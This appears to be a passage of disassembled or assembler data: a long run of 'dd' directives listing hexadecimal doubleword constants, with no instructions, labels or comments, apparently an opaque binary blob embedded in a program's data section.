		dd 8D3A1D0h, 64B06591h,	0C97BE00h, 2B94551Ah, 0C8F40E10h
		dd 0FC0015C2h, 7E89F5Dh, 0FD650900h, 412B7A7Bh,	719609A5h
		dd 0D850A79Eh, 21F047Dh, 9C846DE2h, 360059D8h, 7FEFCF15h
		dd 83A9FC00h, 601982E1h, 0BCAB17E6h, 0EC2C002Ch, 266A906Eh
		dd 0D33DC400h, 7A327DF6h, 8E0E00E1h, 0ECDA2EABh, 0F92C0D6Bh
		dd 90205476h, 0B96DAC00h, 3F26D037h, 0ECD97ABBh, 4A9F01C7h
		dd 42F86683h, 0C605C87Dh, 8FB9E43Dh, 0EE558F8Ah, 22AFACh
		dd 7EE73739h, 4CD330F5h, 0FC1BD628h, 0CE154800h, 0E1F1CC0Ch
		dd 0B8F3256Bh, 0A960BC80h, 1CFE528Ch, 0F775E507h, 8019CD07h
		dd 71EEBD14h, 18A100E2h, 5F09B220h, 990014F9h, 0A28760C9h
		dd 483A1Ch, 78FC5441h, 0BB0FE9Ch, 3E01CEEAh, 94878540h
		dd 0CC70ED64h, 48CCEE98h, 62006842h, 6B22B346h,	0EB005395h
		dd 14E61148h, 90C7ADA0h, 413E0286h, 10846AD8h, 7D76C440h
		dd 0FED7D101h, 0B5A2E8F1h, 1C203831h, 58C090B8h, 0BB00F1F2h
		dd 973FCB67h, 0D70078F4h, 0E944231Fh, 3CB7110Bh, 0DC8021C4h
		dd 0BFAA5E65h, 2D3D7FDDh, 0F7F280A0h, 0E05C0D9Bh, 0A0C7B06Ah
		dd 3783580h, 7923B713h,	0C0A7804Ch, 6238BB11h, 0EB0F041Fh
		dd 0B33CD180h, 0B0EF6B4h, 0D4715E24h, 0F1E12C00h, 4A0084CCh
		dd 0DB229119h, 0F40C199h, 6C637B98h, 0AB4DC060h, 78000426h
		dd 29ACC33Ch, 1CB98B7Fh, 0CE761031h, 0BBA00142h, 2393361Fh
		dd 4D85D902h, 701DA384h, 9ACB005Ch, 8DF39F66h, 50C142B9h
		dd 391C28E0h, 0F27185DCh, 0B5D3838h, 0E6F2698Eh, 8B844BBEh
		dd 7D6A6380h, 92001527h, 0DBDE879Bh, 0EEBD2F04h, 11F600A9h
		dd 0E4B0F1EDh, 2A000F75h, 910687BCh, 0FB2554h, 35CD30A3h
		dd 0B43EB9A4h, 34EAE405h, 0B4909324h, 0B9CD3D70h, 2E7100C8h
		dd 3C55B1EEh, 0A9220C02h, 0C01C4ADEh, 0FFE28Ch,	0D8B61372h
		dd 83483746h, 74777C00h, 3214C993h, 0F6714C1Ch,	46130507h
		dd 0E840E42h, 8647C09Fh, 80037C0Bh, 1AF7295Dh, 70BB9817h
		dd 2671FEEh, 0B33A4074h, 4AA2DED7h, 793963E0h, 1B69AEB8h
		dd 4400B413h, 0C375A834h, 307C815Eh, 11006910h,	467602E7h
		dd 0E831484h, 0B9D82D17h, 40D1AB60h, 560B3D4Dh,	8BF75335h
		dd 19140A11h, 0F1D8300h, 45A5ECCh, 0EAF909D3h, 7044C031h
		dd 0EB406237h, 0C57A0Dh, 8A4D16Ah, 0B3AB01D5h, 0A35DDB00h
		dd 8B20A785h, 94AE0F65h, 5C809C34h, 0F191A412h,	16485390h
		dd 0DA2D010Ch, 0B1B5C409h, 25D3D1D0h, 6007F030h, 0D83E323Bh
		dd 0BC6F6460h, 3700909Eh, 23EF5C82h, 0F97704A4h, 8025744Ah
		dd 0C9805B5Dh, 2717A502h, 40B79C2Dh, 5D8678Bh, 7EBC0DBBh
		dd 0A0B86041h, 6F24DFC3h, 3800C419h, 13BAA89Ch,	0F6AD02DBh
		dd 72D325B9h, 202FEDC1h, 12112A08h, 990B4AD0h, 64006108h
		dd 0A829023Ah, 67FD5100h, 851C5C83h, 62B42432h,	506E0BA4h
		dd 0C4B5F680h, 1000D80Dh, 8B4388BAh, 3ACAFEh, 9762C34Ch
		dd 5FF2CBF8h, 2E6A9A00h, 546DDAF4h, 92963C09h, 0F05BC980h
		dd 5ACC57CEh, 0F1BFF700h
		dd 78DED61Ah, 4B19008Fh, 984175D8h, 2007017h, 7688ABF3h
		dd 1A40774h, 3EDAF61Fh,	0CC14E205h, 3D3083B8h, 0B224D866h
		dd 21BC5A16h, 6F89E240h, 490D39F0h, 4B0060C8h, 0FDD267C7h
		dd 981DD9B1h, 8F476275h, 80799146h, 73873E7h, 1C0300E7h
		dd 6AF8F632h, 0B802FBE6h, 719850D6h, 8294CA95h,	0F8223BD7h
		dd 6C875970h, 71DECF00h, 40A9F61Eh, 8932A318h, 0BC90320h
		dd 6BFC0286h, 125FD880h, 48E234AEh, 0C1B05100h,	5CC59377h
		dd 0C0B10191h, 7483F875h, 25C76B9Fh, 2A8A3FC0h,	0E8990068h
		dd 1C0458DDh, 0D600C459h, 4A310A49h, 90D45269h,	50160114h
		dd 704561A7h, 0C340F0FFh, 8BC240Bh, 0B3CB80B9h,	1E5F900Fh
		dd 40483BC1h, 5234E570h, 0B6002C36h, 0A0DA60EAh, 22668Ah
		dd 47DECABBh, 0E6C7E873h, 8293A300h, 0D2DBDD4Dh, 90E00E51h
		dd 0E878674Eh, 681403A8h, 1EF89B24h, 50D2B30Ch,	169AA4CCh
		dd 1BFF84h, 0DA9349D0h,	0A6007B69h, 0F1858635h,	0ADEABDh
		dd 82DC8C26h, 5733B2E6h, 2012C4E6h, 900068CAh, 0D335B5B7h
		dd 8CB300F7h, 0C47D1893h, 5A7D45FCh, 6448E700h,	19C5E0ABh
		dd 0BF6B0031h, 395CC068h, 0A706431Eh, 3F0281D2h, 3EC27A68h
		dd 23005098h, 7E3552FDh, 0F6242DDEh, 9FBDDC0Dh,	0E1C4B1ADh
		dd 31C141C6h, 56203815h, 0C0A40088h, 8F7ADAE2h,	0BFF8959Bh
		dd 0F4BD2501h, 7F82B354h, 359E8ACh, 0A5AA2399h,	5E0B41B0h
		dd 2200C0B0h, 3BD27C04h, 0C1EB082h, 0D4A6AB50h,	88072E98h
		dd 9C95C081h, 0D04C1043h, 0D6C953h, 0BCCD19ECh,	0D482FB73h
		dd 0A6D70400h, 0A1CAFD05h, 5EFF0081h, 130A1E26h, 0CD3B826Fh
		dd 0C9A48030h, 3699742Ch, 1C550051h, 0DAC04E79h, 0EA04B84Ah
		dd 9AB1270Dh, 0D60280ECh, 288AFD36h, 0A2D724C0h, 723E4Ch
		dd 0EE8BA9D9h, 3EA5962Eh, 0D60034D1h, 6A91AED7h, 0EA006FE1h
		dd 0C102ECF1h, 12A7BF4h, 0C0546273h, 0D0A31DADh, 0F27ECFEFh
		dd 9BEBBA0Fh, 4E58612Fh, 0C0DB5E4Dh, 0CA1319h, 68DAE798h
		dd 302A6FABh, 15D2600Fh, 0DECEDEDFh, 0E45420h, 0D0D65404h
		dd 6F76E41h, 98E62DCh, 5B24C08Ah, 468FB010h, 20974F57h
		dd 90B2ECB6h, 2B253A73h, 98BC2082h, 0A2E02367h,	2C00DBC1h
		dd 42159DA1h, 0F2205E4h, 0F6C29180h, 663C7022h,	0A17EB840h
		dd 1E035626h, 73D64F0Fh, 0F1D52C80h, 581A12A7h,	0ED0500D4h
		dd 66348085h, 7FD2E000h, 99118EFBh, 0A470A5h, 0D980A3Eh
		dd 0DA97E952h, 385D8F32h, 0B75E037h, 3BB31867h,	8C9A303Ah
		dd 6816D501h, 3921140Fh, 0A76A8881h, 0C47FE6C3h, 0FD0FEE7Dh
		dd 0E0654E80h, 86D99EB8h, 0B644B86Ch, 97750094h, 0FC8058ACh
		dd 74C6CEC0h, 7728FE29h, 2BFEF7h, 783D9241h, 1DA4BA33h
		dd 0BC39F400h, 3F521227h, 0A2950051h, 78D93E2Eh, 0B8006407h
		dd 0E84E5A33h, 5897B8Dh, 0BA7F9CD6h, 9BC00098h,	7AF3E951h
		dd 47918500h, 0ABF0A4D7h, 0FB3FC8Eh, 7BF179E5h,	6327D8E0h
		dd 200E35Dh, 0DEE7EB1Bh, 32055Fh, 0E24E6C40h, 0C253360Fh
		dd 7BFD20h, 739266BEh, 2821EE26h, 2E083D58h, 13F80C2h
		dd 3BFB9E84h, 0AC3045A6h, 48C30085h, 8E2D7625h,	0B900F8AAh
		dd 2722349Dh, 0C44289h,	375515DAh, 7088FFE5h, 0F0957A26h
		dd 9C00B897h, 8ACAF304h, 0E77300EEh, 0A93BEC89h, 49EC80F8h
		dd 210057FCh, 0AFCBC441h, 50767Bh, 0E5F8C8D2h, 208E8C38h
		dd 0B12E5Ch, 0FE1E0C6h,	0B281D8h, 52157CB8h, 0A4661105h
		dd 2B035690h, 4D6D2875h, 9E8000D2h, 0EA70C1A7h,	0A00027E5h
		dd 78F47D8Dh, 13E1ED6h,	0D990EF41h, 0CCA7479Fh,	39005456h
		dd 0A9BBFB7Bh, 0BD318Ch, 153F17E5h, 87448B49h, 0A6011F77h
		dd 0AB9429B6h, 0F0306C80h, 489500F0h, 0D938C93Ah, 9A01E970h
		dd 0CC7EE3D3h, 68F0FA5Dh, 40C5074Eh, 17D5154Bh,	970AF09Ch
		dd 302D51BBh, 317CA00Fh, 7C1B4D01h, 4EAB045Ch, 0EC640A92h
		dd 1EA40004h, 0BFC7C1A3h, 0EE0E000Bh, 72C97A52h, 42004E45h
		dd 7818E3D4h, 20DFE5h, 978DAB2Fh, 0CCE82889h, 75DB560Eh
		dd 0D9552066h, 2EE1613Dh, 0BE805B2h, 20008FC8h,	95A484D3h
		dd 0D6F25B7Ah, 0ECE9B000h, 0DBCD2052h, 4E290760h, 2B0FC2BFh
		dd 25E9718Fh, 8606A4E0h, 5897F858h, 2F2E838Ch, 46E6A80Fh
		dd 0B4B1003Eh, 0A18621DBh, 552DDAFCh, 2EFA8760h, 0B508816Bh
		dd 118E8963h, 5B090927h, 0BEEE7A00h, 802C7FEDh,	82938439h
		dd 321830C0h, 0AE3F0010h, 9A010A51h, 0AB005F1Eh, 0FB577AC4h
		dd 3D6B5Bh, 220F779Ch, 4DC2F341h, 0B62BD8A0h, 2807FA00h
		dd 780A439Ah, 153200ECh, 0C7E7A8FEh, 373B21A7h,	0B08C007Eh
		dd 6110F439h, 0BF6E00B8h, 414F3083h, 0F60F1C0Ah, 0C31FB681h
		dd 0B82CAA9Dh, 12CD38D5h, 80CE15B7h, 58A9FB7Ch,	0E704D200h
		dd 0CAC181D9h, 0E5FD0E88h, 0FE05CCCh, 72A01E8Ah, 0D17E3902h
		dd 4831F512h, 3C3FA160h, 0AAACDF07h, 0C4940148h, 0D8AD860Dh
		dd 11015C36h, 0E724B0A4h, 0C880584Ah, 8E473ECEh, 5C00ACB4h
		dd 90A1EDCAh, 1E597F79h, 0ECBA9D8Ch, 0C196059Ch, 2AB4F0E5h
		dd 8084D43Eh, 94AFC2F4h, 29399723h, 8FB4FDD8h, 4885741Eh
		dd 11A00059h, 19D7BDE4h, 0DB1B1000h, 15494062h,	0C4B11C6Bh
		dd 5D25C228h, 0EC606ED6h, 0D9E02DDCh, 68AFF1Fh,	0F557BCC0h
		dd 4CCEA2FBh, 2600B7F1h, 767C7F6h, 0A0002F22h, 0F3141BEEh
		dd 4E3C6Ah, 2D8AF416h, 343AE927h, 0FD68BD01h, 0B8F9D5CCh
		dd 0EF803ECh, 33F02951h, 0A60A14Eh, 0DF208D5Ah,	6D00A77Eh
		dd 0A6C090D1h, 3DC7B3h,	7821A5C1h, 88A95880h, 0C6292700h
		dd 0AF17670Ch, 0E5CE0055h, 6CD11ED3h, 2609EE51h, 60C58624h
		dd 14DD48h, 95B1F1A3h, 42A61A4h, 80E3BE00h, 0DA21C5EFh
		dd 0A60F005Eh, 16D99F25h, 0A4009263h, 0F11FE45Ch, 0A81E19h
		dd 3A968C7Ch, 0B4122F49h, 0B9F49000h, 0CC5618C1h, 0CDED1E66h
		dd 57348159h, 20B72F11h, 7C1D257Ch, 602C04F9h, 0CB46813h
		dd 0C781201Dh, 0FD004AF0h, 954CB5ABh, 630DB1BEh, 0C570B8DAh
		dd 3AD0EAE1h, 5603F040h, 0F6EF127Eh, 41B20098h,	6D096C7Bh
		dd 0B604829Ch, 0D554062Ch, 148838ECh, 4BEFF080h, 0E22456h
		dd 7DB602CCh, 0DD9D5546h, 0E4F5C81Dh, 4B1A3903h, 0EB41275Fh
		dd 11602C64h, 4E9AA130h, 16BD077Eh, 0A0D05F5Eh,	0DED6820Ch
		dd 532DC300h, 1C3B09F6h, 0A2ED003Ch, 6A4995D8h,	0D2009C38h
		dd 0DAEA4E03h, 0C4E676h, 0DEF95D84h, 1AEE8FB0h,	0D8CBC903h
		dd 98E30CF3h, 2C31079Dh, 23C399h, 144B6BE0h, 0CB03DD5Fh
		dd 0E35A377Eh, 0DE0CF8A9h, 2A830089h, 1D82F33Fh, 0CD1D90C0h
		dd 0E42C6618h, 0B1DD823Bh, 807207ADh, 52C63CE0h, 3E100B70h
		dd 6700F388h, 0BD110209h, 5C5923Ch, 7D8D5BCh, 0BE8A8420h
		dd 0DDE90356h, 0EB8BF498h, 21AC0930h, 5685AAh, 96264390h
		dd 42BACC02h, 0C4E9081Bh, 0A95FC850h, 0CB58C892h, 0F4A900CBh
		dd 0A9F5B0DDh, 0AB10A92Ch, 0C5035684h, 139A5871h, 9B8AB111h
		dd 14161A30h, 0D0C96B41h, 5080A880h, 8B609188h,	19E2B211h
		dd 9C252432h, 941D0C00h, 0B7B608h, 19E5DD1Ch, 64CD0076h
		dd 833A1B8Ah, 9E0C4720h, 68F1F548h, 1407070h, 9F97CAA1h
		dd 809C3B28h, 7F2CA718h, 237AFCh, 3CB75192h, 1DC7AE45h
		dd 17865200h, 7EBF2B5Fh, 0EC7000B1h, 0A89FA985h, 0E875252Dh
		dd 0C0F111F8h, 0F200801Ah, 0ABAAE757h, 126BDDh,	65DB8A0Bh
		dd 2FCDBCD2h, 20EB6C00h
		dd 7A3339A8h, 0B3D0022h, 0EF8AA34Dh, 4B010FF1h,	2747498Fh
		dd 0D8CCDD88h, 3EE256h,	0B8344AB9h, 0DCD0CBEDh,	0E5FA0103h
		dd 0C0AEB5FBh, 28173362h, 0C83872h, 25C0FE5Eh, 0C9F0E92Ch
		dd 24E81E00h, 51025BD4h, 0D9E20064h, 41088717h,	8900BFB4h
		dd 6BE711C9h, 7815431h,	2CA3C82Bh, 0B322E73Ch, 28D8D174h
		dd 1B004B70h, 59460849h, 18E1DD76h, 80DAE2Dh, 20C07E5Bh
		dd 0BB462037h, 0FCF80080h, 0CDD5DA77h, 61003893h, 0D87622B7h
		dd 0FDC2EDh, 10CC034Ah,	0A2EEF383h, 18B52100h, 19E3ACF7h
		dd 0E52E0129h, 0CF591ABDh, 8003E324h, 32B08F16h, 0A17CF933h
		dd 0F71E0C41h, 0B9CAA180h, 17EC4CCBh, 9FAA4A06h, 46C9B74Dh
		dd 460C02F5h, 1C3D7665h, 46246300h, 3067C02Fh, 975F0DBDh
		dd 0BF369320h, 62FB9E50h, 47C1C870h, 0ED641883h, 58DA1819h
		dd 0E4FEFC7Ch, 4C5CD007h, 0A57065ADh, 5AE226h, 4EA8989Fh
		dd 7D91EE84h, 46235200h, 9610EF02h, 264476B4h, 8A89F8h
		dd 30549A32h, 0D0006375h, 48E5F54Ch, 0E0933A08h, 4E5D012Fh
		dd 0D120C77Dh, 2E58607Bh, 604D331Ch, 0B0418840h, 6E8D63h
		dd 0DF5BFAEFh, 0AE785E13h, 6AD13300h, 0F0B3F2CBh, 25220015h
		dd 0FA081D66h, 3013CE0h, 2939389Eh, 68E4330Ch, 0B47683h
		dd 977D2F14h, 0B007A0C0h, 3A52E863h, 431E92C8h,	2812B8FEh
		dd 358F0001h, 2CD9ABB4h, 3F00A485h, 0BDB0E16Bh,	9897874Ch
		dd 15611DF5h, 1F7D4036h, 1D25CE2Bh, 0D6B3E900h,	56DB5890h
		dd 2CD839F7h, 9B9D2D80h, 1BC4FB94h, 0FF578600h,	0B89C3321h
		dd 6703006Ah, 0E846D461h, 0AB0091D2h, 81E0CDF9h, 1BC5B5h
		dd 0F25154C4h, 3D09CADh, 0D994570Eh, 979BC0CDh,	8986CFh
		dd 0A6C4A565h, 1261ACF0h, 0B358C500h, 0CACF5256h, 3F5D185Bh
		dd 8B6A5015h, 3AB511Ch,	1EF79181h, 0E88098C1h, 787CBD57h
		dd 0D200EFA6h, 45FA449Dh, 0C0B91CACh, 196B4A88h, 9E006CA8h
		dd 97C4CF7Fh, 3E678C69h, 4F30F295h, 75D62C98h, 5608D418h
		dd 327DF10h, 0FB36C4C9h, 5BB83777h, 0FF3A1EE6h,	0D27000B2h
		dd 8557BC1h, 0D09100AAh, 0C2955A93h, 78001DA1h,	60B1892Eh
		dd 848D87h, 7B452ADDh, 8E923D80h, 57041582h, 0F8CD9100h
		dd 22DC18h, 2305CA29h, 0DAF23447h, 853CB400h, 0DE1BBDE1h
		dd 3BF80F30h, 3D0EE207h, 640FF80h, 0D0F9D7D1h, 2901DBDEh
		dd 0BD3ECB12h, 41D0C232h, 1B013E07h, 2CDD190Eh,	0C0CA0E40h
		dd 0F61F1A47h, 0DC00F358h, 0D66D42FBh, 0FF8702Dh, 21493833h
		dd 0A9F4C106h, 4EFEC000h, 1E12DD8Dh, 0D0EB00D3h, 841BDA4Bh
		dd 801D2253h, 0C092BA68h, 0AD45CA00h, 0C8E44614h, 0F5421E29h
		dd 212D2463h, 0B211DA15h, 6C41111Ah, 2D109912h,	8B689D2h
		dd 481D02DFh, 99E5C0FBh, 25370A22h, 993C1E4Ah, 8912905h
		dd 0E244490h, 30E011E1h, 0AE107D12h, 8628919h, 0A912440Eh
		dd 23172284h, 4C112642h, 1FB52107h, 7A4222F2h, 1118A911h
		dd 3C118B21h, 9188743Eh, 0E84300A8h, 0F34CA9B6h, 24E69EBBh
		dd 0AE3C650Eh, 2A8F0382h, 0DA3D90B5h, 0B700051h, 0F864A48Dh
		dd 55007E90h, 0B21EEC61h, 1C536DBCh, 80E25E70h,	34BBDDCBh
		dd 7F00C4A3h, 373FEC8h,	7EF30C5h, 493ADBD0h, 6D89080h
		dd 650035DAh, 36F9D6FEh, 7104C75h, 0A512790Dh, 1C93438Dh
		dd 2384B088h, 0FC2E150Ch, 4B21BEh, 0C5F3EA20h, 71BA8525h
		dd 318424E7h, 493E5D00h, 96346AADh, 3D53009Ah, 6FE5783h
		dd 3500D70Eh, 51D8A46Bh, 5DF582h, 217A6650h, 595236D5h
		dd 80C71038h, 0EB588EA0h, 794F47h, 0AB768CD4h, 9DF823Ch
		dd 0EA4E9000h, 390A0B0Ch, 0C020E393h, 25E9C03Ah, 9467D524h
		dd 452D6800h, 964813E6h, 75511C59h, 1C5380C6h, 8BD601ADh
		dd 67D7C700h, 0E5D03B7Ah, 0A19A00EFh, 0B2047BF7h, 28C01E29h
		dd 3891D4A8h, 0BBE06Fh,	566A59DBh, 7A43A5E2h, 0AD800200h
		dd 0AF9B3F8Eh, 9A8A023h, 0B4060063h, 0B3B552A9h, 0FA07DE62h
		dd 614EBA22h, 0F5653BE0h, 1D49007Ah, 258E69BDh,	40166D5h
		dd 0CAC52801h, 8FE8F8AEh, 0E2FDED10h, 0FC478C8Fh, 0E60E94E0h
		dd 0DA00CEC9h, 394DFDA9h, 93EB17h, 30043815h, 0CD322EE1h
		dd 0D507DC14h, 315500CCh, 336DAC90h, 738A0099h,	1DBEDB5Ch
		dd 6900C824h, 72F11723h, 0F4F5EEh, 4311B92Fh, 481AAC1Ch
		dd 8892205h, 0F700C24Eh, 66798BA6h, 3890F2h, 1981B3E5h
		dd 29B0F345h, 0B857493Eh, 883C03E6h, 88121BB1h,	0F0FDB55h
		dd 0C6F2D02h, 0E97DC03Eh, 489D2603h, 5F747E0Eh,	2ACCA032h
		dd 245EA67Ch, 181C15h, 0F7386F55h, 583896EBh, 8034B8CBh
		dd 28DD024h, 0E8EC25h, 4F2F321Bh, 0A3813804h, 3B0A1C14h
		dd 0BEE600E9h, 2B3D9F57h, 0C37A00F6h, 0EB1612B1h, 8898D180h
		dd 7347101h, 0E1D4EDBh,	7A5B3DCCh, 0FF9300ECh, 0BB18D143h
		dd 97036F09h, 16644258h, 48AB88E0h, 0FAD600B8h,	0F5203EDEh
		dd 60EE530Eh, 7B896F00h, 40D7F676h, 0C5F26Eh, 791E85EBh
		dd 0EA2E0E63h, 4F1FDB98h, 9C435211h, 9869A57Ah,	9DA4A9h
		dd 8CAD7351h, 56C71B38h, 318E1D00h, 9BCD26D3h, 51B3000Ch
		dd 1FDF64D7h, 0C80FE0FFh, 20C09501h, 0FE8F4731h, 2426FADDh
		dd 8CC54Ah, 86A748E7h, 5E00AD3Dh, 0BB5A6CF4h, 0F22F8F9Dh
		dd 1B400045h, 334D5FF2h, 9E00707Fh, 0DB6173C8h,	0C28F1h
		dd 21233803h, 0ECCD83B1h, 7F7D5800h, 1EF4EB4h, 12F4009Ch
		dd 0E2DAB97h, 22860FBh,	5900A83Fh, 48BE2272h, 1D9FEE6h
		dd 0DA9B790Fh, 0E8E1EB9Dh, 30250BDh, 447A911Dh,	23CDE129h
		dd 0C29024h, 0F58382B9h, 45F75DFh, 0EB411204h, 40C014D6h
		dd 0CC36322h, 364F696Fh, 0B202BDD0h, 70D99765h,	540040B8h
		dd 0C30E384h, 0A6390CDBh, 0A3914B8Ch, 0B2631A00h, 2BE1E220h
		dd 948000AEh, 518C474Ch, 2100DE7Ch, 49C80211h, 0AF2E9Ah
		dd 34D6C09h, 7A905FA3h,	0DAD98A00h, 1CB64701h, 800099DFh
		dd 313D6AA3h, 86000C30h, 29EC2770h, 45C0B3h, 886B5CB5h
		dd 8E6CBD09h, 7D974F00h, 4484C60Dh, 49B10014h, 4A1D9A91h
		dd 600A051h, 68F3B2E1h,	777D08h, 6B0328F9h, 7B8B23D3h
		dd 0B193F403h, 0E0F6FE64h, 240E8718h, 0BF80F7Eh, 2820994Dh
		dd 6B83A29Bh, 0B6298400h, 80D02C15h, 0D3FF0037h, 0EC2D3645h
		dd 7A0041A7h, 0E2B4039Bh, 913A60h, 8EDAA6D0h, 1835EA2h
		dd 0F8F86E24h, 49ABED00h, 0A09CA914h, 87BF8Ch, 1C571F92h
		dd 0D9259D54h, 9C984878h, 13CC3B00h, 3D5D9A15h,	0EEB700ACh
		dd 6EF7AF83h, 40044C2h,	605BD2D9h, 3AEC3DD7h, 0F802588h
		dd 0DFE93A73h, 4300D6DAh, 0CC3E78C2h, 1FD2B45Dh, 27EBA4Fh
		dd 296BC4F6h, 48C12040h, 0DCC72000h, 7DE7CC14h,	2A6E608Eh
		dd 3E49FDA8h, 0D77C9D0Fh, 0BF6183F7h, 5F5EF878h, 0CDB700B9h
		dd 21F9D540h, 7C0FFC7Ah, 0BCD343CEh, 8040B81Eh,	8685C18Eh
		dd 0B2F50055h, 2C1BFE3Eh, 3900F6ADh, 447682E7h,	7478B0D8h
		dd 128A0053h, 67A59CC7h, 900CD63h, 0CA7B9175h, 3DA4FE03h
		dd 1E15C654h, 7ED453h, 0A2ECB77Ch, 0BFDF5895h, 0D48FC200h
		dd 92EA4B4Ah, 9D331D5Bh, 0D2A1009Eh, 165F10A5h,	0FC7F5E00h
		dd 5A5976BCh, 4E1A0EF8h, 0D4E20E19h, 2900E7A2h,	2D75D7h
		dd 7CB0E0F4h, 39C2CD57h, 1EDA58h, 622AD2A7h, 0CAAC6Ah
		dd 177D1C1Dh, 39DC1561h, 0E43ECC07h, 2BE0D6A1h,	482EF48Eh
		dd 0EB00B8CEh, 0AFA45C9Bh
		dd 9000545Fh, 0AC0E8296h, 0CB8D40h, 94E07D66h, 175DFEF4h
		dd 37023CB9h, 4879AC80h, 0C1E3C0h, 0CD95767Eh, 64BCD73Fh
		dd 5CE98D14h, 0F91200F0h, 0B5432C0Bh, 0D5F630E8h, 0ED6F5619h
		dd 31CB2B16h, 0B60C0Eh,	7C50E371h, 63E62Eh, 0E5C68024h
		dd 9FE84F67h, 47B61400h, 89E90234h, 91320393h, 7F9069E7h
		dd 0D597B1D9h, 0A863309Bh, 1AB9ED00h, 6A389A19h, 0B5D90778h
		dd 0A7DC4D39h, 0A9BDC0E9h, 0E4168809h, 84014C59h, 0F2FFFC8Ah
		dd 0DD29F4h, 3135B175h,	0F1B6F302h, 58D70505h, 0F44BBA20h
		dd 0C0608195h, 636071AEh, 9AE603B3h, 0F66F5EFFh, 8B577FA8h
		dd 351212F6h, 27006932h, 40635C82h, 5D6200F6h, 0BA028449h
		dd 4B0A64E4h, 0F4FAA638h, 41F32501h, 81DEBB07h,	691F194h
		dd 1BF1B444h, 0D56CC440h, 0F7A00063h, 4BC64C22h, 890F657h
		dd 0C9262D04h, 7A00AA10h, 15EFA462h, 0CED51400h, 0D1D40E39h
		dd 0BC360004h, 43C2ED9Ah, 96F0FDE6h, 0ECB14700h, 0A94C5363h
		dd 10D7DA7h, 94050AFBh,	20FF54B8h, 890E7F3h, 0D0A45616h
		dd 8AD6FC00h, 0B8F342EBh, 11DB0794h, 0F00AA5E9h, 0C2AE8919h
		dd 8D487500h, 0EC3331DDh, 16BA90DBh, 1D9CD4h, 49C76F74h
		dd 2B00512Dh, 0D1540CE6h, 3F43650h, 673A86D2h, 0B5E87105h
		dd 0E17F1B3Eh, 0BECF3100h, 404FD8BAh, 34163CDAh, 7353680h
		dd 0E509DFF4h, 1FB9F700h, 92EFD71Eh, 542A032Bh,	0DDFBE4A1h
		dd 5F7CE0B0h, 3F00409Ah, 525C5974h, 9D03A69Ah, 0F000C2D0h
		dd 943CFB0Bh, 0BF41BD0h, 0B7B009D9h, 0CBAC4002h, 0C1CC8448h
		dd 35002DF6h, 7F914A56h, 26F394D5h, 640B2Ah, 3DEDD49Ch
		dd 0E9037215h, 6433CF22h, 0DE2DA89Eh, 7F3A006Ch, 0BE6D6F1Eh
		dd 4207306Bh, 0EB81901Ah, 0EEC05C87h, 0FCE28E32h, 748901D5h
		dd 9BFA39AEh, 0E6B47002h, 227A7300h, 70CE7D38h,	0AAF307E3h
		dd 208E1888h, 1F395E71h, 0B81BEA0Ch, 269D21FEh,	405048A2h
		dd 0E04CE233h, 7D72D41Eh, 981102C6h, 817139C8h,	22548500h
		dd 0CD6430ABh, 0D04C3Ch, 96923BBAh, 61AC0DA1h, 317B598Dh
		dd 3848CE2Eh, 0BA07C864h, 2C191148h, 0A9CC801Bh, 0D3F136h
		dd 0C8F468BDh, 7BD1E910h, 0B223F802h, 603B82CEh, 7E1A04h
		dd 0B0A043EFh, 0C6E4D6F5h, 20C88D07h, 0FFE06235h, 11FAC2Ch
		dd 7D6DA83Ah, 708D69DFh, 0DB00B38Fh, 605D3F9h, 35A08E3h
		dd 12785D1Dh, 0EBE03744h, 6C004AA6h, 0A3923A47h, 72331173h
		dd 14A8010Ch, 1EE0638Eh, 0CA70D458h, 34C0B91Dh,	0E3F20F00h
		dd 3E6B48h, 0C87AA04Ch,	6DCCDB24h, 0B7022773h, 0AB93D288h
		dd 0FD60F768h, 0A20B457Fh, 803D57BFh, 654C8C28h, 3CB1FE42h
		dd 0B88097A1h, 0A26B2EFCh, 3FB80120h, 0DD382600h, 0EFC285FEh
		dd 0A5420040h, 0B9289BE5h, 5F0D2970h, 109AF5D5h, 2DCA26FCh
		dd 50C0C7ADh, 49189558h, 5621A18Bh, 0C210745h, 10530A44h
		dd 0CB65E5C0h, 6DD9CE00h, 0E3F191CDh, 3F72E7h, 0E1DB50F7h
		dd 3C62B91Dh, 0AA0F040Fh, 0A9A4E1AFh, 0BF4D41Ch, 337100C0h
		dd 0A811BBDFh, 6F0F6368h, 40E0E840h, 0FDC7ACCEh, 0DB0A0738h
		dd 207CC082h, 62521714h, 0B62AE500h, 0EC0F2BD2h, 56BA013Bh
		dd 1B500DBCh, 0CDC1D4C4h, 0AB0BE3E2h, 0F163C4Fh, 0DC14C014h
		dd 0E27A36FBh, 47A86h, 0BEA6D15Fh, 0A12BE284h, 9DF8AF4Bh
		dd 3C7A300h, 16735335h,	494CE600h, 62D68AB2h, 0FC40008Ch
		dd 0E7EB3FDDh, 0D507AD44h, 0C412728Bh, 7AD0608Dh, 9DF000D2h
		dd 0FA6C39A3h, 8100BA46h, 0FC03E8A6h, 0F3F30C1h, 0B2448C0Ch
		dd 8294D7E0h, 0A70074E2h, 4601C85Dh, 0F4867h, 4CC05CD9h
		dd 98B97BFDh, 8F62803Dh, 0A0E5B337h, 132B4B04h,	1BBF00B5h
		dd 0A151C9FAh, 0EB581C7Bh, 0E7670F7Ch, 0FED8E05Bh, 3D6F3C59h
		dd 15803791h, 82C2E0B0h, 0A1007004h, 0E3941C8Ch, 7E7722h
		dd 325F081Bh, 43ED598Dh, 85100D00h, 0AD31A635h,	0B7B15082h
		dd 10A56024h, 0B7AAE44h, 6F1B4E03h, 8F970DE7h, 6A8475F0h
		dd 0B0B33019h, 0F44E3728h, 0CF06501Dh, 970B53C0h, 0C0193E0h
		dd 42E6D27Eh, 804446B1h, 0F57F141Eh, 7E0FBC4Fh,	980546Dh
		dd 0B11986DEh, 0E7974A00h, 84D1E41Eh, 0D3F5007Dh, 0C42C980Dh
		dd 377A4303h, 0C7003EE4h, 1180DEC9h, 7A6C93A3h,	0A95A3A5Fh
		dd 56303480h, 6245F685h, 0EFA7430Ah, 6700E0A6h,	4F217B8Dh
		dd 2F760106h, 56E5156Bh, 0D02BDCF6h, 5022082Fh,	4CF700D2h
		dd 9FF3464Dh, 173ECAB7h, 0A8C11E0Fh, 0FE764580h, 2B149Ah
		dd 0AB24C9Ch, 655BAB23h, 8A108460h, 194DC0Eh, 18AC7630h
		dd 82CE8E2Ah, 0FB7BE780h, 2E584893h, 0FDDD0086h, 40E8A348h
		dd 1BE42C84h, 0F6CDB31Eh, 76562C3Fh, 0BC877800h, 602993h
